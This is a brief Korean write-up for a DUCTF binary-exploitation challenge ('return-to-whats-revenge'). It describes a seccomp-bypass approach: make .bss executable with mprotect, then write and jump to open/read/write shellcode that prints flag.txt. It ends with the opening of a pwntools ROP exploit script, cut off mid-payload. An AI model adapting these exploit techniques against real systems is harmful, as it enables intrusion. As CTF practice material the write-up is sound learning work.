seccomp, bof 문제이다. mprotect를 사용해 bss 영역에 rwx 권한을 주고난 뒤 read 함수를 사용해 bss영역에 flag.txt를 open함수를 통해 열고 read , write를 해주는 쉘코드를 만들어 쓴 후 bss영역으로 RIP를 변조했다. 아래와 같은 코드를 작동시키면 문제가 해결된다. from pwn import * s = remote("chal.duc.tf",30006) elf = ELF("./return-to-whats-revenge") libc = ELF("./libc.so") context.arch = 'amd64' pay = b"A"*0x30 pay += b"B"*8 pay += p64(0x004019db) pay += p64(elf.got['puts']) pay +..